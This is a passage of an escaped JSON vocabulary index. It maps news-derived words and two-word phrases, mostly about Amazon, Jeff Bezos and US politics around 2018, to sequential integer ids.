\"cnbc emarketer\": 183628,\n  \"mcgrath\": 183629,\n  \"false playerinstance\": 183630,\n  \"council finance\": 183631,\n  \"fudge leslie\": 183632,\n  \"investigator suspects\": 183633,\n  \"joyful\": 183634,\n  \"matters\": 183635,\n  \"spons\": 183636,\n  \"apco worldwide\": 183637,\n  \"states postmaster\": 183638,\n  \"creates compelling\": 183639,\n  \"reportedly trying\": 183640,\n  \"job navigating\": 183641,\n  \"house lawmakers\": 183642,\n  \"world foremost\": 183643,\n  \"textbook extortion\": 183644,\n  \"monthly pass\": 183645,\n  \"harper lee\": 183646,\n  \"million deals\": 183647,\n  \"sen bernie\": 183648,\n  \"2017 story\": 183649,\n  \"amazon effectively\": 183650,\n  \"mcbride lauded\": 183651,\n  \"opposed trump\": 183652,\n  \"year showed\": 183653,\n  \"current protection\": 183654,\n  \"bezos literary\": 183655,\n  \"internet archive\": 183656,\n  \"head coach\": 183657,\n  \"conservative supporter\": 183658,\n  \"delbene wash\": 183659,\n  \"buckingham palace\": 183660,\n  \"100x100 50x50\": 183661,\n  \"extra toys\": 183662,\n  \"seats getting\": 183663,\n  \"special rules\": 183664,\n  \"minimising\": 183665,\n  \"long public\": 183666,\n  \"nelson james\": 183667,\n  \"mikhail\": 183668,\n  \"amazon frequent\": 183669,\n  \"robust billion\": 183670,\n  \"compete anymore\": 183671,\n  \"gianari\": 183672,\n  \"sov7keqdh4\": 183673,\n  \"financing bonds\": 183674,\n  \"teenagers holiday\": 183675,\n  \"commerce shipping\": 183676,\n  \"uk cabinet\": 183677,\n  \"administrative\": 183678,\n  \"foundation exposs\": 183679,\n  \"comptroller scott\": 183680,\n  \"entire ordeal\": 183681,\n  \"delivering mail\": 183682,\n  \"ikullgren politico\": 183683,\n  \"seamless shopping\": 183684,\n  \"bezos tags\": 183685,\n  \"consecutive day\": 183686,\n  \"businesses data\": 183687,\n  \"believed glad\": 183688,\n  \"continuing fallout\": 183689,\n  \"year ryan\": 183690,\n  \"action undercutting\": 183691,\n  \"gafa companies\": 183692,\n  \"separate expose\": 183693,\n  \"health standards\": 183694,\n  \"parachute\": 183695,\n  \"glassdoor\": 183696,\n  \"consumer polling\": 183697,\n  \"president forgot\": 183698,\n  \"modes met\": 183699,\n  \"8m irises\": 183700,\n  \"named captainroyd\": 183701,\n  \"conflicts percolate\": 183702,\n  \"calderone jason\": 183703,\n  \"read google\": 183704,\n  \"arrest photos\": 183705,\n  \"rt cores\": 183706,\n  \"anticipated financial\": 183707,\n  \"dumps oracle\": 183708,\n  \"challenge travel\": 183709,\n  \"definitely good\": 183710,\n  \"similar devastating\": 183711,\n  \"poach\": 183712,\n  \"vought\": 183713,\n  \"jeer\": 183714,\n  \"allow entry\": 183715,\n  \"cheekily\": 183716,\n  \"net editor\": 183717,\n  \"africa iconic\": 183718,\n  \"stanley analyst\": 183719,\n  \"promised border\": 183720,\n  \"patients crowdfund\": 183721,\n  \"time temporary\": 183722,\n  \"post property\": 183723,\n  \"france teams\": 183724,\n  \"review signals\": 183725,\n  \"adjuncts\": 183726,\n  \"frances\": 183727,\n  \"pound genius\": 183728,\n  \"news newsroom\": 183729,\n  \"extremely\": 183730,\n  \"managing day\": 183731,\n  \"448\": 183732,\n  \"report jefferies\": 183733,\n  \"quarter reuters\": 183734,\n  \"trend oncologists\": 183735,\n  \"war customer\": 183736,\n  \"block agents\": 183737,\n  \"pentagon disorganized\": 183738,\n  \"local especially\": 183739,\n  \"controlling\": 183740,\n  \"regards\": 183741,\n  \"used words\": 183742,\n  \"voice retail\": 183743,\n  \"representation globally\": 183744,\n  \"baldwin\": 183745,\n  \"sell shares\": 183746,\n  \"mcdonnell mp\": 183747,\n  \"averts\": 183748,\n  \"logistics 3pl\": 183749,\n  \"nbc flotus\": 183750,\n  \"joined indiewire\": 183751,\n  \"story hiring\": 183752,\n  \"joe beda\": 183753,\n  \"2018 homicide\": 183754,\n  \"god gives\": 183755,\n  \"image 100x100\": 183756,\n  \"marcophones\": 183757,\n  \"school districts\": 183758,\n  \"largest player\": 183759,\n  \"improve citizens\": 183760,\n  \"punished users\": 183761,\n  \"equitable economy\": 183762,\n  \"roadblock\": 183763,\n  \"ponce america\": 183764,\n  \"resistant superbugs\": 183765,\n  \"motors\": 183766,\n  \"product pricing\": 183767,\n  \"electronic mobs\": 183768,\n  \"mettler reporter\": 183769,\n  \"latrice\": 183770,\n  \"silicon alley\": 183771,\n  \"meaning families\": 183772,\n  \"kay sent\": 183773,\n  \"story revealing\": 183774,\n  \"resourced\": 183775,\n  \"era deadly\": 183776,\n  \"administrative agency\": 183777,\n  \"beta\": 183778,\n  \"upcoming games\": 183779,\n  \"lawmakers including\": 183780,\n  \"uk bezos\": 183781,\n  \"microwaves\": 183782,\n  \"percio agreed\": 183783,\n  \"opportunity analysts\": 183784,\n  \"old monarch\": 183785,\n  \"divorce deal\": 183786,\n  \"taxes accrued\": 183787,\n  \"way business\": 183788,\n  \"early learners\": 183789,\n  \"game check\": 183790,\n  \"consumers initially\": 183791,\n  \"merchandise effectively\": 183792,\n  \"table norah\": 183793,\n  \"mcshane\": 183794,\n  \"concrete goals\": 183795,\n  \"love books\": 183796,\n  \"sending mexican\": 183797,\n  \"fundraising haul\": 183798,\n  \"verizon ad\": 183799,\n  \"itactually\": 183800,\n  \"establish union\": 183801,\n  \"company waze\": 183802,\n  \"years don\": 183803,\n  \"time netflix\": 183804,\n  \"age forces\": 183805,\n  \"amazon larger\": 183806,\n  \"software saying\": 183807,\n  \"delivery legally\": 183808,\n  \"needs help\": 183809,\n  \"deliveries drivers\": 183810,\n  \"jarrett hamilton\": 183811,\n  \"trash thisbill\": 183812,\n  \"bucket challenge\": 183813,\n  \"exiled\": 183814,\n  \"era rules\": 183815,\n  \"later hurricane\": 183816,\n  \"directive orders\": 183817,\n  \"pr disaster\": 183818,\n  \"stronger\": 183819,\n  \"ordered amazon\": 183820,\n  \"removing friction\": 183821,\n  \"potential purchasers\": 183822,\n  \"forces better\": 183823,\n  \"ad\": 183824,\n  \"color expertise\": 183825,\n  \"foundation trump\": 183826,\n  \"nonetheless bezos\": 183827,\n  \"grp limited\": 183828,\n  \"upscale organic\": 183829,\n  \"supermicro hardware\": 183830,\n  \"approximately 531\": 183831,\n  \"passed legislation\": 183832,\n  \"dod swampier\": 183833,\n  \"beverage sales\": 183834,\n  \"schools transportation\": 183835,\n  \"community groups\": 183836,\n  \"whitefish\": 183837,\n  \"stock clerk\": 183838,\n  \"published deeply\": 183839,\n  \"reuters claims\": 183840,\n  \"q1\": 183841,\n  \"action charging\": 183842,\n  \"capital expenditures\": 183843,\n  \"greedy political\": 183844,\n  \"twisted psychological\": 183845,\n  \"muhammad\": 183846,\n  \"actually begins\": 183847,\n  \"company mistreats\": 183848,\n  \"9hv7nzey6r steve\": 183849,\n  \"novelist michael\": 183850,\n  \"opposition point\": 183851,\n  \"deliberately false\": 183852,\n  \"economic elephant\": 183853,\n  \"england chances\": 183854,\n  \"lawrence zupan\": 183855,\n  \"florida just\": 183856,\n  \"powerful political\": 183857,\n  \"organic small\": 183858,\n  \"vaco synapse\": 183859,\n  \"hill neighborhood\": 183860,\n  \"rivals vying\": 183861,\n  \"sf streets\": 183862,\n  \"higher drug\": 183863,\n  \"cap apple\": 183864,\n  \"governing international\": 183865,\n  \"nick thebookofnick\": 183866,\n  \"anti taxpayer\": 183867,\n  \"captured mccain\": 183868,\n  \"credit union\": 183869,\n  \"bernstein survey\": 183870,\n  \"trumps wall\": 183871,\n  \"amazon book\": 183872,\n  \"australian asian\": 183873,\n  \"fm los\": 183874,\n  \"therese\": 183875,\n  \"chambers flatiron\": 183876,\n  \"evaluate ways\": 183877,\n  \"regulatory framework\": 183878,\n  \"doubled citing\": 183879,\n  \"weeks late\": 183880,\n  \"recently describing\": 183881,\n  \"prudent\": 183882,\n  \"missouri senator\": 183883,\n  \"affair hit\": 183884,\n  \"advocacy groups\": 183885,\n  \"collapse traffic\": 183886,\n  \"getty photographs\": 183887,\n  \"amazon promoting\": 183888,\n  \"ecommercechris llc\": 183889,\n  \"leveraging land\": 183890,\n  \"targeted advertising\": 183891,\n  \"technical responsibilities\": 183892,\n  \"scene working\": 183893,\n  \"chair daniel\": 183894,\n  \"plunges 500\": 183895,\n  \"beauty story\": 183896,\n  \"democratic nominees\": 183897,\n  \"just burn\": 183898,\n  \"best suited\": 183899,\n  \"language descends\": 183900,\n  \"data arm\": 183901,\n  \"want wearing\": 183902,\n  \"sell oil\": 183903,\n  \"dulled\": 183904,\n  \"tweet praising\": 183905,\n  \"council meeting\": 183906,\n  \"amazon developers\": 183907,\n  \"200 strong\": 183908,\n  \"trumpian wigs\": 183909,\n  \"xb ac\": 183910,\n  \"dramatic cloud\": 183911,\n  \"ante saying\": 183912,\n  \"construction vehicles\": 183913,\n  \"committed felony\": 183914,\n  \"trump kid\": 183915,\n  \"endlessly\": 183916,\n  \"account noting\": 183917,\n  \"accounts opened\": 183918,\n  \"ecosystem integrated\": 183919,\n  \"excesses\": 183920,\n  \"abortion\": 183921,\n  \"wealth tracker\": 183922,\n  \"pompeo says\": 183923,\n  \"agency consider\": 183924,\n  \"smart bulb\": 183925,\n  \"worth grew\": 183926,\n  \"lottery ticket\": 183927,\n  \"reipro real\": 183928,\n  \"lakewoodpd pic\": 183929,\n  \"migration aid\": 183930,\n  \"service firms\": 183931,\n  \"counties plus\": 183932,\n  \"wouldn necessarily\": 183933,\n  \"tweeted farrow\": 183934,\n  \"prime compared\": 183935,\n  \"party overactivism\": 183936,\n  \"rate rises\": 183937,\n  \"approaches\": 183938,\n  \"outright threat\": 183939,\n  \"pulls cigarettes\": 183940,\n  \"article tagged\": 183941,\n  \"fastdom\": 183942,\n  \"koji\": 183943,\n  \"texas school\": 183944,\n  \"owns ton\": 183945,\n  \"john bozzella\": 183946,\n  \"rational explanation\": 183947,\n  \"detections fewer\": 183948,\n  \"post unflattering\": 183949,\n  \"create rules\": 183950,\n  \"official dutifully\": 183951,\n  \"poor labor\": 183952,\n  \"need subpoeana\": 183953,\n  \"adinfo\": 183954,\n  \"supporting cnn\": 183955,\n  \"haute cuisine\": 183956,\n  \"omar hassan\": 183957,\n  \"bozo alamy\": 183958,\n  \"usps revenue\": 183959,\n  \"heights queens\": 183960,\n  \"2018 senate\": 183961,\n  \"buhari\": 183962,\n  \"ami reporting\": 183963,\n  \"say oops\": 183964,\n  \"mayor foxconn\": 183965,\n  \"lows amazon\": 183966,\n  \"granted citizenship\": 183967,\n  \"woodward intimate\": 183968,\n  \"punish newspaper\": 183969,\n  \"easy target\": 183970,\n  \"number want\": 183971,\n  \"uncertain ryan\": 183972,\n  \"ago adamis\": 183973,\n  \"politico workers\": 183974,\n  \"listen don\": 183975,\n  \"misinformed\": 183976,\n  \"dangerous face\": 183977,\n  \"tensions farm\": 183978,\n  \"virginia thirteen\": 183979,\n  \"andrew shares\": 183980,\n  \"needing extensive\": 183981,\n  \"weboost drive\": 183982,\n  \"risk sustainable\": 183983,\n  \"subsequent hq2\": 183984,\n  \"standby\": 183985,\n  \"course best\": 183986,\n  \"contributor good\": 183987,\n  \"hand bezos\": 183988,\n  \"cultural norms\": 183989,\n  \"determining motive\": 183990,\n  \"sheila gulati\": 183991,\n  \"super 169\": 183992,\n  \"career campaigning\": 183993,\n  \"new fund\": 183994,\n  \"history culture\": 183995,\n  \"office letter\": 183996,\n  \"candidate speaks\": 183997,\n  \"logo buy\": 183998,\n  \"difference studies\": 183999,\n  \"yorkers according\": 184000,\n  \"history combined\": 184001,\n  \"270 million\": 184002,\n  \"retailer urging\": 184003,\n  \"investigation stone\": 184004,\n  \"hard forme\": 184005,\n  \"biggest cloud\": 184006,\n  \"triggering leadership\": 184007,\n  \"polls salles\": 184008,\n  \"ozone\": 184009,\n  \"porcelain princess\": 184010,\n  \"payroll data\": 184011,\n  \"questioned\": 184012,\n  \"holocaust\": 184013,\n  \"intercepts\": 184014,\n  \"antimonopoly\": 184015,\n  \"hinder\": 184016,\n  \"viscerally\": 184017,\n  \"motivated gavin\": 184018,\n  \"000 patents\": 184019,\n  \"availability mean\": 184020,\n  \"west seattle\": 184021,\n  \"amazon traditional\": 184022,\n  \"trump unsuccessfully\": 184023,\n  \"army times\": 184024,\n  \"crony actors\": 184025,\n  \"york developer\": 184026,\n  \"pharma giants\": 184027,\n  \"wandering bezos\": 184028,\n  \"maintaining stable\": 184029,\n  \"artwork\": 184030,\n  \"telemarketing\": 184031,\n  \"early adversity\": 184032,\n  \"echo lik\": 184033,\n  \"restraint\": 184034,\n  \"democratic commissioner\": 184035,\n  \"reactid 194\": 184036,\n  \"pepsico pep\": 184037,\n  \"court reference\": 184038,\n  \"prosecutors reached\": 184039,\n  \"bounty\": 184040,\n  \"ny senior\": 184041,\n  \"dripping\": 184042,\n  \"tastes artificial\": 184043,\n  \"research published\": 184044,\n  \"locations sent\": 184045,\n  \"concrete action\": 184046,\n  \"photo state\": 184047,\n  \"growth creativity\": 184048,\n  \"national commission\": 184049,\n  \"ross saw\": 184050,\n  \"today post\": 184051,\n  \"matt drudge\": 184052,\n  \"wealth tax\": 184053,\n  \"dollars shifting\": 184054,\n  \"dominated power\": 184055,\n  \"crackdown amid\": 184056,\n  \"vlachos\": 184057,\n  \"102m don\": 184058,\n  \"ordered according\": 184059,\n  \"neowin reported\": 184060,\n  \"maybewasn\": 184061,\n  \"naacp charges\": 184062,\n  \"nam cameron\": 184063,\n  \"incorrectly criticized\": 184064,\n  \"championing\": 184065,\n  \"mass produce\": 184066,\n  \"cvpid token\": 184067,\n  \"judgejeanine\": 184068,\n  \"video good\": 184069,\n  \"discussed prominently\": 184070,\n  \"including walmart\": 184071,\n  \"900 billion\": 184072,\n  \"630 shares\": 184073,\n  \"thinks 21st\": 184074,\n  \"paycheck withdrawals\": 184075,\n  \"service package\": 184076,\n  \"repatriation game\": 184077,\n  \"tracks radical\": 184078,\n  \"confirmed democrats\": 184079,\n  \"near record\": 184080,\n  \"mould\": 184081,\n  \"null cnl_contributor_accessflag\": 184082,\n  \"bonus 2018\": 184083,\n  \"dims\": 184084,\n  \"featuring world\": 184085,\n  \"indigenous girl\": 184086,\n  \"bit riskier\": 184087,\n  \"low cost\": 184088,\n  \"business partner\": 184089,\n  \"slit\": 184090,\n  \"nice sale\": 184091,\n  \"farmers feel\": 184092,\n  \"service imposes\": 184093,\n  \"book claims\": 184094,\n  \"spearheaded\": 184095,\n  \"queens thirty\": 184096,\n  \"yes bolsonaro\": 184097,\n  \"tame\": 184098,\n  \"told vox\": 184099,\n  \"added karen\": 184100,\n  \"make regarding\": 184101,\n  \"bargaining power\": 184102,\n  \"2018 grade\": 184103,\n  \"gotten amazon\": 184104,\n  \"france operates\": 184105,\n  \"environment expressed\": 184106,\n  \"partisan following\": 184107,\n  \"act slamming\": 184108,\n  \"ancillary\": 184109,\n  \"y1 ra\": 184110,\n  \"establishing pretexts\": 184111,\n  \"recent achievements\": 184112,\n  \"trump wrongly\": 184113,\n  \"1994 employing\": 184114,\n  \"enact laws\": 184115,\n  \"delisting\": 184116,\n  \"protected areas\": 184117,\n  \"virginia yes\": 184118,\n  \"robots humans\": 184119,\n  \"emailed version\": 184120,\n  \"memphis commercial\": 184121,\n  \"effectively gardner\": 184122,\n  \"justice uk\": 184123,\n  \"florida facility\": 184124,\n  \"residential\": 184125,\n  \"innovate\": 184126,\n  \"pct\": 184127,\n  \"include building\": 184128,\n  \"eddie huang\": 184129,\n  \"440 offers\": 184130,\n  \"dvd\": 184131,\n  \"follow usa\": 184132,\n  \"certainly settle\": 184133,\n  \"slimmer mechanical\": 184134,\n  \"accompanying analysis\": 184135,\n  \"forcing brands\": 184136,\n  \"kamal\": 184137,\n  \"late sixties\": 184138,\n  \"quarter coming\": 184139,\n  \"n3x function\": 184140,\n  \"beach volumes\": 184141,\n  \"outposts including\": 184142,\n  \"alphaone capital\": 184143,\n  \"adding new\": 184144,\n  \"noted skeptic\": 184145,\n  \"ugly employment\": 184146,\n  \"values free\": 184147,\n  \"apr efe\": 184148,\n  \"jason lutes\": 184149,\n  \"gonna make\": 184150,\n  \"cutting resulted\": 184151,\n  \"combat sales\": 184152,\n  \"post looks\": 184153,\n  \"recovery services\": 184154,\n  \"progressive doug\": 184155,\n  \"cbd oil\": 184156,\n  \"yes number\": 184157,\n  \"bunnies\": 184158,\n  \"dinners\": 184159,\n  \"rock star\": 184160,\n  \"twitter lucasnolan_\": 184161,\n  \"company cozy\": 184162,\n  \"chappatta\": 184163,\n  \"undercutting competitors\": 184164,\n  \"president coif\": 184165,\n  \"rule hundreds\": 184166,\n  \"boost career\": 184167,\n  \"google profits\": 184168,\n  \"multimillion dollar\": 184169,\n  \"companies couldn\": 184170,\n  \"taxes abusing\": 184171,\n  \"encana canadian\": 184172,\n  \"shrek family\": 184173,\n  \"grassroots activism\": 184174,\n  \"saved\": 184175,\n  \"don add\": 184176,\n  \"duff\": 184177,\n  \"tobacco company\": 184178,\n  \"toast\": 184179,\n  \"activities\": 184180,\n  \"gmt west\": 184181,\n  \"assurance\": 184182,\n  \"utilize traditional\": 184183,\n  \"used government\": 184184,\n  \"implementing lockers\": 184185,\n  \"shriver\": 184186,\n  \"unsubstantiated claims\": 184187,\n  \"southpaw nycsouthpaw\": 184188,\n  \"rally organized\": 184189,\n  \"pitch series\": 184190,\n  \"finance reform\": 184191,\n  \"supposedly economically\": 184192,\n  \"2018 finally\": 184193,\n  \"trump power\": 184194,\n  \"alicandro\": 184195,\n  \"throw objects\": 184196,\n  \"forward salesforce\": 184197,\n  \"truth lie\": 184198,\n  \"california campuses\": 184199,\n  \"public assaults\": 184200,\n  \"home gamer\": 184201,\n  \"rolling paper\": 184202,\n  \"american audiences\": 184203,\n  \"rose sharply\": 184204,\n  \"shutdown griffeth\": 184205,\n  \"americans sample\": 184206,\n  \"the\\u0430wary\": 184207,\n  \"phone jon\": 184208,\n  \"european central\": 184209,\n  \"socioeconomic\": 184210,\n  \"congress 2018\": 184211,\n  \"blog postgeorge\": 184212,\n  \"big taxpayer\": 184213,\n  \"vaguely defined\": 184214,\n  \"connector\": 184215,\n  \"operated differently\": 184216,\n  \"hawaii based\": 184217,\n  \"war threats\": 184218,\n  \"hometown second\": 184219,\n  \"recent advances\": 184220,\n  \"retailer moved\": 184221,\n  \"propaganda glossy\": 184222,\n  \"modernization\": 184223,\n  \"things trump\": 184224,\n  \"324 9110\": 184225,\n  \"trump administration\": 184226,\n  \"drew harwell\": 184227,\n  \"relationship concludes\": 184228,\n  \"oluo lindy\": 184229,\n  \"obsession\": 184230,\n  \"semini\": 184231,\n  \"leanings\": 184232,\n  \"overturn trump\": 184233,\n  \"vix hovering\": 184234,\n  \"galvanizing issues\": 184235,\n  \"similarly suggested\": 184236,\n  \"vision lack\": 184237,\n  \"visionary team\": 184238,\n  \"student sophie\": 184239,\n  \"working conditions\": 184240,\n  \"barred takeover\": 184241,\n  \"ebay declining\": 184242,\n  \"plan determined\": 184243,\n  \"department national\": 184244,\n  \"extraordinary public\": 184245,\n  \"company inaccurate\": 184246,\n  \"series soccer\": 184247,\n  \"streep\": 184248,\n  \"harm long\": 184249,\n  \"indiscretion\": 184250,\n  \"nation traveling\": 184251,\n  \"manchester united\": 184252,\n  \"sen paul\": 184253,\n  \"declaring\": 184254,\n  \"import export\": 184255,\n  \"reached new\": 184256,\n  \"enabled cnet\": 184257,\n  \"mind moser\": 184258,\n  \"broussard vice\": 184259,\n  \"users globally\": 184260,\n  \"newcomers nissan\": 184261,\n  \"colored strictly\": 184262,\n  \"absolutely davis\": 184263,\n  \"took roughly\": 184264,\n  \"trafficking houston\": 184265,\n  \"littering\": 184266,\n  \"sound completely\": 184267,\n  \"pre nup\": 184268,\n  \"c5q case\": 184269,\n  \"shares cohen\": 184270,\n  \"claimed lifelong\": 184271,\n  \"capital skyline\": 184272,\n  \"members discussed\": 184273,\n  \"lofty\": 184274,\n  \"epiphany productions\": 184275,\n  \"harassed native\": 184276,\n  \"overwhelmingly voted\": 184277,\n  \"2018 slammed\": 184278,\n  \"international contretemps\": 184279,\n  \"mini series\": 184280,\n  \"entire category\": 184281,\n  \"political earthquakes\": 184282,\n  \"additional opportunity\": 184283,\n  \"inform users\": 184284,\n  \"text exchange\": 184285,\n  \"hearts knows\": 184286,\n  \"marie phillips\": 184287,\n  \"leaf\": 184288,\n  \"keeping silent\": 184289,\n  \"zach\": 184290,\n  \"tabloid tried\": 184291,\n  \"detailed record\": 184292,\n  \"undeveloped land\": 184293,\n  \"low crime\": 184294,\n  \"bezos boldly\": 184295,\n  \"inevitably shouldered\": 184296,\n  \"david barstow\": 184297,\n  \"aljazeera wall\": 184298,\n  \"jones index\": 184299,\n  \"habits relationships\": 184300,\n  \"biggest maker\": 184301,\n  \"similarly\": 184302,\n  \"iran oil\": 184303,\n  \"owners want\": 184304,\n  \"using set\": 184305,\n  \"reactid 161\": 184306,\n  \"consoles haunt\": 184307,\n  \"acn\": 184308,\n  \"amazon vast\": 184309,\n  \"changes really\": 184310,\n  \"respondents 303\": 184311,\n  \"target walmart\": 184312,\n  \"2260 bought\": 184313,\n  \"privacy seeking\": 184314,\n  \"investor presentations\": 184315,\n  \"smudge\": 184316,\n  \"close comics\": 184317,\n  \"make play\": 184318,\n  \"trusting gut\": 184319,\n  \"large studies\": 184320,\n  \"symbol a4ee\": 184321,\n  \"catapulted\": 184322,\n  \"express\": 184323,\n  \"amazon schiff\": 184324,\n  \"wtf howmuchcanwelosethisyear\": 184325,\n  \"creates unclear\": 184326,\n  \"paid negative\": 184327,\n  \"bigoted anti\": 184328,\n  \"tornado\": 184329,\n  \"major facilities\": 184330,\n  \"sent bezos\": 184331,\n  \"powell speech\": 184332,\n  \"secretary good\": 184333,\n  \"soggy\": 184334,\n  \"shay shull\": 184335,\n  \"suddenly moving\": 184336,\n  \"congressman trey\": 184337,\n  \"added transportation\": 184338,\n  \"muslim american\": 184339,\n  \"bombay bhel\": 184340,\n  \"leading thinkers\": 184341,\n  \"tech employment\": 184342,\n  \"precious resource\": 184343,\n  \"lefebvre\": 184344,\n  \"order declaring\": 184345,\n  \"america crumbling\": 184346,\n  \"necessarily hurts\": 184347,\n  \"airport newark\": 184348,\n  \"strides\": 184349,\n  \"pulling impeach\": 184350,\n  \"jumbo\": 184351,\n  \"seasonal staffers\": 184352,\n  \"interviews including\": 184353,\n  \"dictate market\": 184354,\n  \"second corporations\": 184355,\n  \"investigator martin\": 184356,\n  \"estate board\": 184357,\n  \"mann billion\": 184358,\n  \"atlanta business\": 184359,\n  \"attacking law\": 184360,\n  \"officer described\": 184361,\n  \"862 nasdaq\": 184362,\n  \"efficient planes\": 184363,\n  \"program shares\": 184364,\n  \"foods higher\": 184365,\n  \"wag salmon\": 184366,\n  \"advance jeff\": 184367,\n  \"isn reason\": 184368,\n  \"just retail\": 184369,\n  \"requisite\": 184370,\n  \"share decade\": 184371,\n  \"iconic video\": 184372,\n  \"jones fudge\": 184373,\n  \"missed\": 184374,\n  \"olsavsky\": 184375,\n  \"soviet general\": 184376,\n  \"helmer\": 184377,\n  \"2019 grammy\": 184378,\n  \"pauses\": 184379,\n  \"dating pivot\": 184380,\n  \"fictionalized version\": 184381,\n  \"amazon currently\": 184382,\n  \"529 shares\": 184383,\n  \"better borrowing\": 184384,\n  \"steal products\": 184385,\n  \"category providing\": 184386,\n  \"campaign agenda\": 184387,\n  \"greater leverage\": 184388,\n  \"possible work\": 184389,\n  \"new labor\": 184390,\n  \"stanley acknowledges\": 184391,\n  \"leaders initially\": 184392,\n  \"staff continues\": 184393,\n  \"soccer documentary\": 184394,\n  \"producer vf\": 184395,\n  \"chewing parody\": 184396,\n  \"smaller loss\": 184397,\n  \"given rate\": 184398,\n  \"experts mark\": 184399,\n  \"channel meeting\": 184400,\n  \"resemble\": 184401,\n  \"statement conding\": 184402,\n  \"spanish\": 184403,\n  \"time contacting\": 184404,\n  \"state democrat\": 184405,\n  \"dodd\": 184406,\n  \"outside facebook\": 184407,\n  \"unpopular president\": 184408,\n  \"hours leaving\": 184409,\n  \"decades regulators\": 184410,\n  \"email correspondence\": 184411,\n  \"ap donald\": 184412,\n  \"certain deliveries\": 184413,\n  \"cue\": 184414,\n  \"foods shoppers\": 184415,\n  \"bbc host\": 184416,\n  \"campaign rally\": 184417,\n  \"appears\": 184418,\n  \"latest initiative\": 184419,\n  \"breaks rumors\": 184420,\n  \"amazon liberal\": 184421,\n  \"make remarks\": 184422,\n  \"minnesota forcing\": 184423,\n  \"speech contact\": 184424,\n  \"cancellation\": 184425,\n  \"union dues\": 184426,\n  \"trump parents\": 184427,\n  \"positions commonly\": 184428,\n  \"national environment\": 184429,\n  \"tax predicament\": 184430,\n  \"drone attacks\": 184431,\n  \"total look\": 184432,\n  \"vast authority\": 184433,\n  \"industry leaders\": 184434,\n  \"harnik\": 184435,\n  \"sticks\": 184436,\n  \"country netflix\": 184437,\n  \"cycle\": 184438,\n  \"complementary businesses\": 184439,\n  \"palumbo\": 184440,\n  \"big north\": 184441,\n  \"700bn compare\": 184442,\n  \"famous\": 184443,\n  \"housing education\": 184444,\n  \"eating candy\": 184445,\n  \"sergio marchionne\": 184446,\n  \"image 284x160\": 184447,\n  \"green men\": 184448,\n  \"love bezos\": 184449,\n  \"overtake amazon\": 184450,\n  \"prime issues\": 184451,\n  \"united food\": 184452,\n  \"paper ties\": 184453,\n  \"depth reporting\": 184454,\n  \"santare fish\": 184455,\n  \"forfederal\": 184456,\n  \"republicans racist\": 184457,\n  \"sales agent\": 184458,\n  \"tha\\u00eds\": 184459,\n  \"enforce antitrust\": 184460,\n  \"important affairs\": 184461,\n  \"momentum tech\": 184462,\n  \"futures climbed\": 184463,\n  \"doesn sign\": 184464,\n  \"building secondary\": 184465,\n  \"500 madison\": 184466,\n  \"includes misinformation\": 184467,\n  \"map\": 184468,\n  \"public discontent\": 184469,\n  \"year overhaul\": 184470,\n  \"jgreen16 bloomberg\": 184471,\n  \"trump opponent\": 184472,\n  \"unravels\": 184473,\n  \"chinese public\": 184474,\n  \"tech areas\": 184475,\n  \"blackmail letter\": 184476,\n  \"suggested steps\": 184477,\n  \"states figure\": 184478,\n  \"calls involved\": 184479,\n  \"letters represent\": 184480,\n  \"book scene\": 184481,\n  \"apple earnings\": 184482,\n  \"totalitarian massive\": 184483,\n  \"canada largest\": 184484,\n  \"accusing trumpkins\": 184485,\n  \"viser national\": 184486,\n  \"doubleclick amazon\": 184487,\n  \"presidential\": 184488,\n  \"nativist zealotry\": 184489,\n  \"voting period\": 184490,\n  \"company buys\": 184491,\n  \"disney company\": 184492,\n  \"rare response\": 184493,\n  \"nation institute\": 184494,\n  \"trump sad\": 184495,\n  \"level deals\": 184496,\n  \"committee according\": 184497,\n  \"easiest way\": 184498,\n  \"instinct intuition\": 184499,\n  \"declining payment\": 184500,\n  \"yes bartiromo\": 184501,\n  \"liberals hardly\": 184502,\n  \"delivery drone\": 184503,\n  \"frequent guest\": 184504,\n  \"merchandise worth\": 184505,\n  \"style just\": 184506,\n  \"pre tied\": 184507,\n  \"supremacist rally\": 184508,\n  \"instagram rolled\": 184509,\n  \"350 acres\": 184510,\n  \"pilot project\": 184511,\n  \"reaching\": 184512,\n  \"wire 2018\": 184513,\n  \"fare evaders\": 184514,\n  \"tariffs companies\": 184515,\n  \"flavored cigarettes\": 184516,\n  \"tiny home\": 184517,\n  \"federal child\": 184518,\n  \"worst performer\": 184519,\n  \"valedictorian\": 184520,\n  \"included mass\": 184521,\n  \"jones industrials\": 184522,\n  \"nation highest\": 184523,\n  \"atini partner\": 184524,\n  \"testify weather\": 184525,\n  \"contentid\": 184526,\n  \"faustin\": 184527,\n  \"2018 survey\": 184528,\n  \"eevvf short\": 184529,\n  \"taxpayer assistance\": 184530,\n  \"kavanaugh high\": 184531,\n  \"slashes\": 184532,\n  \"newspaper white\": 184533,\n  \"time saw\": 184534,\n  \"just day\": 184535,\n  \"alarmed investors\": 184536,\n  \"murphy report\": 184537,\n  \"squeeberang\": 184538,\n  \"detailed report\": 184539,\n  \"meyerowitz\": 184540,\n  \"means raises\": 184541,\n  \"rivals microsoft\": 184542,\n  \"american newsdaily\": 184543,\n  \"fb julia\": 184544,\n  \"glaxosmithkline\": 184545,\n  \"faces according\": 184546,\n  \"amazon luck\": 184547,\n  \"3bn worth\": 184548,\n  \"president suely\": 184549,\n  \"ads defining\": 184550,\n  \"included leaked\": 184551,\n  \"abimbola\": 184552,\n  \"democratic process\": 184553,\n  \"counterfeit light\": 184554,\n  \"google inside\": 184555,\n  \"news unit\": 184556,\n  \"progresses according\": 184557,\n  \"encouragement schwarzenegger\": 184558,\n  \"conference late\": 184559,\n  \"represents number\": 184560,\n  \"strong rumors\": 184561,\n  \"ppzofqazok todd\": 184562,\n  \"governor federal\": 184563,\n  \"certain states\": 184564,\n  \"bordering\": 184565,\n  \"binder\": 184566,\n  \"wouldnt\": 184567,\n  \"late genius\": 184568,\n  \"1204et copyright\": 184569,\n  \"rally brazil\": 184570,\n  \"typical brash\": 184571,\n  \"stifles\": 184572,\n  \"police jimmy\": 184573,\n  \"dinner party\": 184574,\n  \"brow\": 184575,\n  \"imprint\": 184576,\n  \"billion check\": 184577,\n  \"girlfriend person\": 184578,\n  \"2025 cities\": 184579,\n  \"identifies\": 184580,\n  \"sees eliminating\": 184581,\n  \"bad sign\": 184582,\n  \"president clearly\": 184583,\n  \"growing ad\": 184584,\n  \"settimeout a4ee\": 184585,\n  \"petroleum\": 184586,\n  \"givenchy pencil\": 184587,\n  \"scooping\": 184588,\n  \"munduruku indigenous\": 184589,\n  \"getting rewarded\": 184590,\n  \"murkowski\": 184591,\n  \"create false\": 184592,\n  \"year cocktail\": 184593,\n  